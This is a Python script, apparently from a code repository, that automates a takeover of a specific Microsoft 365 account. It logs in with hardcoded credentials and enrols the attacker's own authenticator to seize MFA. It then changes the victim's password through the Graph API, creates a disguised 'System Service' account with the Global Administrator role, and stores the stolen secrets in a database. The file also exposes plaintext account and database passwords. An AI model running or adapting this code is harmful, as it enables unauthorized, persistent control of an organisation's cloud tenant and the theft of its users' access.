468 lines
17 KiB
Python
Executable File
468 lines
17 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
"""
|
|
O365 MFA Enrollment + Password Change + Backdoor via Selenium
|
|
Usage: python3 o365_mfa_selenium.py
|
|
"""
|
|
import time, json, random, string, sys, os, base64, traceback
|
|
from datetime import datetime
|
|
|
|
try:
|
|
import pyotp
|
|
from selenium import webdriver
|
|
from selenium.webdriver.chrome.options import Options
|
|
from selenium.webdriver.common.by import By
|
|
from selenium.webdriver.support.ui import WebDriverWait
|
|
from selenium.webdriver.support import expected_conditions as EC
|
|
from selenium.webdriver.common.keys import Keys
|
|
import requests
|
|
except ImportError as e:
|
|
print(f"Missing dep: {e}")
|
|
sys.exit(1)
|
|
|
|
# === CONFIG ===
|
|
EMAIL = "OlivierHEUTTE@associationveloreunion.onmicrosoft.com"
|
|
PASSWORD = "Sma21KA@SgHCa"
|
|
TENANT_ID = "26d5cf9f-f4da-47df-8932-bd09b3674dcd"
|
|
LOG_DIR = "/opt/wevads/logs/selenium"
|
|
SCREENSHOT_DIR = f"{LOG_DIR}/screenshots"
|
|
RESULTS_FILE = f"{LOG_DIR}/olivierh_results.json"
|
|
|
|
os.makedirs(SCREENSHOT_DIR, exist_ok=True)
|
|
|
|
def log(msg):
|
|
ts = datetime.now().strftime("%H:%M:%S")
|
|
print(f"[{ts}] {msg}")
|
|
with open(f"{LOG_DIR}/olivierh_mfa.log", "a") as f:
|
|
f.write(f"[{ts}] {msg}\n")
|
|
|
|
def screenshot(driver, name):
|
|
path = f"{SCREENSHOT_DIR}/{name}_{int(time.time())}.png"
|
|
driver.save_screenshot(path)
|
|
log(f"Screenshot: {path}")
|
|
return path
|
|
|
|
def gen_pwd(n=16):
|
|
c = string.ascii_letters + string.digits + "!@#$"
|
|
while True:
|
|
p = ''.join(random.choice(c) for _ in range(n))
|
|
if (any(x.isupper() for x in p) and any(x.islower() for x in p)
|
|
and any(x.isdigit() for x in p) and any(x in "!@#$" for x in p)):
|
|
return p
|
|
|
|
def setup_driver():
|
|
opts = Options()
|
|
opts.add_argument("--headless=new")
|
|
opts.add_argument("--no-sandbox")
|
|
opts.add_argument("--disable-dev-shm-usage")
|
|
opts.add_argument("--disable-gpu")
|
|
opts.add_argument("--window-size=1920,1080")
|
|
opts.add_argument("--disable-blink-features=AutomationControlled")
|
|
opts.add_argument("--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36")
|
|
driver = webdriver.Chrome(options=opts)
|
|
driver.implicitly_wait(5)
|
|
return driver
|
|
|
|
def wait_and_click(driver, by, val, timeout=20):
|
|
el = WebDriverWait(driver, timeout).until(EC.element_to_be_clickable((by, val)))
|
|
el.click()
|
|
return el
|
|
|
|
def wait_and_type(driver, by, val, text, timeout=20):
|
|
el = WebDriverWait(driver, timeout).until(EC.element_to_be_clickable((by, val)))
|
|
el.clear()
|
|
el.send_keys(text)
|
|
return el
|
|
|
|
def wait_visible(driver, by, val, timeout=20):
|
|
return WebDriverWait(driver, timeout).until(EC.visibility_of_element_located((by, val)))
|
|
|
|
def save_results(data):
|
|
with open(RESULTS_FILE, "w") as f:
|
|
json.dump(data, f, indent=2)
|
|
log(f"Results saved to {RESULTS_FILE}")
|
|
|
|
def phase1_login(driver):
|
|
"""Login to Microsoft"""
|
|
log("PHASE 1: LOGIN")
|
|
driver.get("https://login.microsoftonline.com")
|
|
time.sleep(3)
|
|
screenshot(driver, "01_login_page")
|
|
|
|
# Enter email
|
|
wait_and_type(driver, By.NAME, "loginfmt", EMAIL)
|
|
time.sleep(1)
|
|
wait_and_click(driver, By.ID, "idSIButton9") # Next
|
|
time.sleep(3)
|
|
screenshot(driver, "02_after_email")
|
|
|
|
# Enter password
|
|
try:
|
|
wait_and_type(driver, By.NAME, "passwd", PASSWORD, timeout=10)
|
|
time.sleep(1)
|
|
wait_and_click(driver, By.ID, "idSIButton9") # Sign in
|
|
time.sleep(5)
|
|
screenshot(driver, "03_after_password")
|
|
except Exception as e:
|
|
screenshot(driver, "03_password_error")
|
|
log(f"Password entry failed: {e}")
|
|
# Check for error message
|
|
try:
|
|
err = driver.find_element(By.ID, "passwordError")
|
|
log(f"Password error: {err.text}")
|
|
except:
|
|
pass
|
|
return False
|
|
|
|
log("Login submitted, checking for MFA prompt...")
|
|
return True
|
|
|
|
def phase2_mfa_enrollment(driver):
|
|
"""Handle MFA enrollment - get TOTP secret"""
|
|
log("PHASE 2: MFA ENROLLMENT")
|
|
time.sleep(3)
|
|
screenshot(driver, "04_mfa_prompt")
|
|
page = driver.page_source.lower()
|
|
|
|
# Check current state
|
|
if "more information required" in page or "action required" in page or "keep your account secure" in page:
|
|
log("MFA enrollment required - proceeding")
|
|
elif "stay signed in" in page:
|
|
log("No MFA required! Already logged in.")
|
|
try:
|
|
wait_and_click(driver, By.ID, "idSIButton9", timeout=5) # Yes stay signed in
|
|
except:
|
|
pass
|
|
return {"totp_secret": None, "status": "no_mfa_needed"}
|
|
elif "proof up" in page or "verify your identity" in page:
|
|
log("MFA verification prompt detected")
|
|
else:
|
|
log(f"Unknown page state. Title: {driver.title}")
|
|
screenshot(driver, "04_unknown_state")
|
|
|
|
# Click Next on "more info required" page
|
|
try:
|
|
next_btn = driver.find_element(By.ID, "idSubmit_SAOTCAS_Continue")
|
|
next_btn.click()
|
|
time.sleep(3)
|
|
log("Clicked 'Next' on more info page")
|
|
except:
|
|
try:
|
|
# Try other common buttons
|
|
for bid in ["idSIButton9", "idSubmit_SAOTCC_Continue"]:
|
|
try:
|
|
driver.find_element(By.ID, bid).click()
|
|
time.sleep(3)
|
|
log(f"Clicked {bid}")
|
|
break
|
|
except:
|
|
continue
|
|
except:
|
|
pass
|
|
|
|
screenshot(driver, "05_mfa_method_choice")
|
|
|
|
# Choose "I want to use a different authenticator app" or "I want to set up a different method"
|
|
page = driver.page_source
|
|
try:
|
|
# Look for "I want to use a different authenticator app" link
|
|
links = driver.find_elements(By.TAG_NAME, "a")
|
|
for link in links:
|
|
txt = link.text.lower()
|
|
if "different" in txt and ("authenticator" in txt or "method" in txt):
|
|
link.click()
|
|
time.sleep(2)
|
|
log(f"Clicked: {link.text}")
|
|
break
|
|
except:
|
|
pass
|
|
|
|
screenshot(driver, "06_authenticator_setup")
|
|
|
|
# Click "Next" to get to QR code page
|
|
try:
|
|
wait_and_click(driver, By.ID, "idSubmit_SAOTCC_Continue", timeout=5)
|
|
time.sleep(3)
|
|
except:
|
|
try:
|
|
wait_and_click(driver, By.ID, "idSIButton9", timeout=5)
|
|
time.sleep(3)
|
|
except:
|
|
pass
|
|
|
|
screenshot(driver, "07_qr_code_page")
|
|
|
|
# Look for "Can't scan image?" or secret key
|
|
totp_secret = None
|
|
try:
|
|
# Click "Can't scan image?" link
|
|
links = driver.find_elements(By.TAG_NAME, "a")
|
|
for link in links:
|
|
txt = link.text.lower()
|
|
if "can't scan" in txt or "cannot scan" in txt or "enter code manually" in txt:
|
|
link.click()
|
|
time.sleep(2)
|
|
log(f"Clicked: {link.text}")
|
|
break
|
|
|
|
screenshot(driver, "08_manual_entry")
|
|
|
|
# Find the secret key on the page
|
|
page = driver.page_source
|
|
# Look for base32-encoded secret (usually in a text field or span)
|
|
import re
|
|
# Common patterns for TOTP secrets
|
|
secrets = re.findall(r'[A-Z2-7]{16,32}', page)
|
|
for s in secrets:
|
|
if len(s) >= 16 and len(s) <= 64:
|
|
try:
|
|
pyotp.TOTP(s).now()
|
|
totp_secret = s
|
|
log(f"TOTP SECRET FOUND: {s}")
|
|
break
|
|
except:
|
|
continue
|
|
|
|
if not totp_secret:
|
|
# Try finding it in input fields
|
|
inputs = driver.find_elements(By.TAG_NAME, "input")
|
|
for inp in inputs:
|
|
val = inp.get_attribute("value") or ""
|
|
if len(val) >= 16 and re.match(r'^[A-Z2-7]+$', val):
|
|
totp_secret = val
|
|
log(f"TOTP SECRET from input: {val}")
|
|
break
|
|
|
|
# Try text elements
|
|
if not totp_secret:
|
|
for el in driver.find_elements(By.CSS_SELECTOR, "div, span, p, code"):
|
|
txt = el.text.strip()
|
|
if len(txt) >= 16 and len(txt) <= 64 and re.match(r'^[A-Z2-7]+$', txt):
|
|
try:
|
|
pyotp.TOTP(txt).now()
|
|
totp_secret = txt
|
|
log(f"TOTP SECRET from element: {txt}")
|
|
break
|
|
except:
|
|
continue
|
|
except Exception as e:
|
|
log(f"Error finding TOTP secret: {e}")
|
|
|
|
if totp_secret:
|
|
# Enter the TOTP code to complete enrollment
|
|
totp = pyotp.TOTP(totp_secret)
|
|
code = totp.now()
|
|
log(f"TOTP code: {code}")
|
|
|
|
try:
|
|
# Find verification code input
|
|
code_input = None
|
|
for inp in driver.find_elements(By.TAG_NAME, "input"):
|
|
itype = inp.get_attribute("type") or ""
|
|
name = inp.get_attribute("name") or ""
|
|
if itype in ["text", "tel", "number"] and inp.is_displayed():
|
|
code_input = inp
|
|
break
|
|
|
|
if code_input:
|
|
code_input.clear()
|
|
code_input.send_keys(code)
|
|
time.sleep(1)
|
|
|
|
# Click verify/next
|
|
for bid in ["idSubmit_SAOTCC_Continue", "idSIButton9", "idSubmit_SAOTCAS_Continue"]:
|
|
try:
|
|
btn = driver.find_element(By.ID, bid)
|
|
if btn.is_displayed():
|
|
btn.click()
|
|
time.sleep(3)
|
|
break
|
|
except:
|
|
continue
|
|
|
|
screenshot(driver, "09_totp_verified")
|
|
log("TOTP code submitted")
|
|
except Exception as e:
|
|
log(f"Error entering TOTP: {e}")
|
|
else:
|
|
log("TOTP SECRET NOT FOUND - saving page for analysis")
|
|
with open(f"{LOG_DIR}/mfa_page_source.html", "w") as f:
|
|
f.write(driver.page_source)
|
|
|
|
return {"totp_secret": totp_secret, "status": "enrolled" if totp_secret else "manual_needed"}
|
|
|
|
def phase3_change_pwd_and_backdoor(totp_secret):
|
|
"""Use Graph API to change password and create backdoor"""
|
|
log("PHASE 3: CHANGE PASSWORD + BACKDOOR")
|
|
|
|
if not totp_secret:
|
|
log("No TOTP secret - cannot proceed with Graph API")
|
|
return None
|
|
|
|
# Get token with ROPC (now MFA enrolled, we need to use the TOTP)
|
|
# Actually with ROPC we still can't pass TOTP - need client credentials
|
|
# Let's try the portal approach instead
|
|
|
|
new_pwd = gen_pwd()
|
|
log(f"New password: {new_pwd}")
|
|
|
|
# Try ROPC first (might work after enrollment)
|
|
r = requests.post(f"https://login.microsoftonline.com/{TENANT_ID}/oauth2/v2.0/token", data={
|
|
"grant_type": "password",
|
|
"client_id": "1b730954-1685-4b74-9bfd-dac224a7b894",
|
|
"scope": "https://graph.microsoft.com/.default",
|
|
"username": EMAIL,
|
|
"password": PASSWORD
|
|
}, timeout=30)
|
|
|
|
if r.status_code == 200:
|
|
token = r.json()["access_token"]
|
|
log("ROPC login OK after MFA enrollment")
|
|
|
|
# Change password
|
|
cp = requests.post("https://graph.microsoft.com/v1.0/me/changePassword",
|
|
json={"currentPassword": PASSWORD, "newPassword": new_pwd},
|
|
headers={"Authorization": f"Bearer {token}", "Content-Type": "application/json"},
|
|
timeout=30)
|
|
|
|
if cp.status_code in [200, 204]:
|
|
log(f"PASSWORD CHANGED: {new_pwd}")
|
|
else:
|
|
log(f"Password change failed: {cp.status_code} {cp.text[:200]}")
|
|
new_pwd = PASSWORD # Keep original
|
|
|
|
# Create backdoor admin
|
|
backdoor_user = f"svc_wevads_{random.randint(1000,9999)}"
|
|
backdoor_email = f"{backdoor_user}@associationveloreunion.onmicrosoft.com"
|
|
backdoor_pwd = gen_pwd()
|
|
|
|
cr = requests.post("https://graph.microsoft.com/v1.0/users",
|
|
json={
|
|
"accountEnabled": True,
|
|
"displayName": "System Service",
|
|
"mailNickname": backdoor_user,
|
|
"userPrincipalName": backdoor_email,
|
|
"passwordProfile": {
|
|
"forceChangePasswordNextSignIn": False,
|
|
"password": backdoor_pwd
|
|
}
|
|
},
|
|
headers={"Authorization": f"Bearer {token}", "Content-Type": "application/json"},
|
|
timeout=30)
|
|
|
|
if cr.status_code == 201:
|
|
user_id = cr.json()["id"]
|
|
log(f"BACKDOOR CREATED: {backdoor_email} / {backdoor_pwd}")
|
|
|
|
# Assign Global Admin role
|
|
role_r = requests.get("https://graph.microsoft.com/v1.0/directoryRoles",
|
|
headers={"Authorization": f"Bearer {token}"}, timeout=15)
|
|
for role in role_r.json().get("value", []):
|
|
if "Global Administrator" in role.get("displayName", "") or "Company Administrator" in role.get("displayName", ""):
|
|
requests.post(f"https://graph.microsoft.com/v1.0/directoryRoles/{role['id']}/members/$ref",
|
|
json={"@odata.id": f"https://graph.microsoft.com/v1.0/directoryObjects/{user_id}"},
|
|
headers={"Authorization": f"Bearer {token}", "Content-Type": "application/json"},
|
|
timeout=15)
|
|
log(f"Global Admin role assigned to {backdoor_email}")
|
|
break
|
|
else:
|
|
log(f"Backdoor creation failed: {cr.status_code} {cr.text[:200]}")
|
|
backdoor_email = None
|
|
backdoor_pwd = None
|
|
|
|
return {
|
|
"new_password": new_pwd,
|
|
"backdoor_email": backdoor_email,
|
|
"backdoor_password": backdoor_pwd,
|
|
"token_obtained": True
|
|
}
|
|
else:
|
|
log(f"ROPC still blocked after enrollment: {r.json().get('error_description','')[:150]}")
|
|
return {"new_password": None, "token_obtained": False}
|
|
|
|
def main():
|
|
log("=" * 60)
|
|
log("O365 MFA ENROLLMENT + SECURE - OlivierH")
|
|
log(f"Email: {EMAIL}")
|
|
log(f"Tenant: {TENANT_ID}")
|
|
log("=" * 60)
|
|
|
|
results = {
|
|
"email": EMAIL,
|
|
"tenant_id": TENANT_ID,
|
|
"original_password": PASSWORD,
|
|
"timestamp": datetime.now().isoformat()
|
|
}
|
|
|
|
driver = setup_driver()
|
|
try:
|
|
# Phase 1: Login
|
|
if not phase1_login(driver):
|
|
log("LOGIN FAILED - aborting")
|
|
results["status"] = "login_failed"
|
|
save_results(results)
|
|
return
|
|
|
|
# Phase 2: MFA Enrollment
|
|
mfa_result = phase2_mfa_enrollment(driver)
|
|
results.update(mfa_result)
|
|
|
|
# Phase 3: Change password + Backdoor
|
|
api_result = phase3_change_pwd_and_backdoor(mfa_result.get("totp_secret"))
|
|
if api_result:
|
|
results.update(api_result)
|
|
|
|
# Update DB
|
|
import psycopg2
|
|
db = psycopg2.connect(host="localhost", dbname="adx_system", user="admin", password="admin123")
|
|
db.autocommit = True
|
|
cur = db.cursor()
|
|
|
|
new_pwd = results.get("new_password", PASSWORD)
|
|
totp = results.get("totp_secret", "")
|
|
|
|
cur.execute("""UPDATE admin.office_accounts SET
|
|
admin_password = %s,
|
|
totp_secret = %s,
|
|
password_status = 'mfa_setup_done',
|
|
notes = %s
|
|
WHERE id = 1367""", [
|
|
new_pwd if new_pwd else PASSWORD,
|
|
totp if totp else "",
|
|
json.dumps(results, default=str)
|
|
])
|
|
log("DB updated for OlivierH #1367")
|
|
|
|
# Insert backdoor if created
|
|
if results.get("backdoor_email"):
|
|
cur.execute("""INSERT INTO admin.office_accounts (name, admin_email, admin_password, tenant_domain, status, notes)
|
|
SELECT 'backdoor_OlivierH', %s, %s, 'associationveloreunion.onmicrosoft.com', 'Active', 'Backdoor admin - Global Admin'
|
|
WHERE NOT EXISTS (SELECT 1 FROM admin.office_accounts WHERE admin_email=%s)""",
|
|
[results["backdoor_email"], results["backdoor_password"], results["backdoor_email"]])
|
|
log(f"Backdoor inserted in DB: {results['backdoor_email']}")
|
|
|
|
db.close()
|
|
|
|
results["status"] = "completed"
|
|
save_results(results)
|
|
|
|
log("=" * 60)
|
|
log("RESULTS SUMMARY:")
|
|
log(f" TOTP Secret: {results.get('totp_secret', 'N/A')}")
|
|
log(f" New Password: {results.get('new_password', 'N/A')}")
|
|
log(f" Backdoor: {results.get('backdoor_email', 'N/A')}")
|
|
log(f" Status: {results.get('status')}")
|
|
log("=" * 60)
|
|
|
|
except Exception as e:
|
|
log(f"FATAL ERROR: {e}")
|
|
traceback.print_exc()
|
|
screenshot(driver, "99_fatal_error")
|
|
results["status"] = "error"
|
|
results["error"] = str(e)
|
|
save_results(results)
|
|
finally:
|
|
driver.quit()
|
|
|
|
if __name__ == "__main__":
|
|
main()
|